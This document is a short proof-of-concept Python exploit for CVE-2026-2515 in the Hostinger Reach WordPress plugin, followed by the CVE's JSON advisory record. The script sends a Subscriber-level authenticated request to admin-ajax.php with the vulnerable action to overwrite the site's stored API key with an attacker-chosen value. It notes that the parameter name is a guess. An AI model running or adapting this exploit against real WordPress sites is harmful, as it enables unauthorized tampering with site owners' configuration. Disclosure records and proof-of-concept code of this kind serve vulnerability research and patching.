CVE-2026-2515

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker cookie (Subscriber level session) attacker_cookie = "wordpress_logged_in_123456=attacker_session_value" headers = { "User-Agent": "CVE-2026-2515-POC", "Cookie": attacker_cookie } # Exploit payload data # The action 'hostinger_reach_connection_notice_action' triggers the vulnerable function # Parameter name might vary, 'connection_key' is a common placeholder for API keys in such plugins payload = { "action": "hostinger_reach_connection_notice_action", "connection_key": "MALICIOUS_API_KEY_CONTROLLED_BY_ATTACKER" } try: response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if the API key was updated in the database.") else: print("[-] Request failed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-2515", "sourceIdentifier": "[email protected]", "published": "2026-05-13T13:01:39.920", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Hostinger Reach – AI-Powered Email Marketing for WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'handle_ajax_action' function in all versions up to, and including, 1.3.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to use the 'hostinger_reach_connection_notice_action' action to update the API key value stored in the database. This vulnerability can only be exploited when the plugin is not connected to a site and no API key value exists in the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/hostinger-reach/trunk/src/Admin/Notices/ConnectionNotice.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/hostinger-reach/trunk/src/Api/Routes/ReachRoutes.php#L86", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3473571/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8d0fef4d-2c0e-486e-8a55-1c7230636a5c?source=cve", "source": "[email protected]"}]}}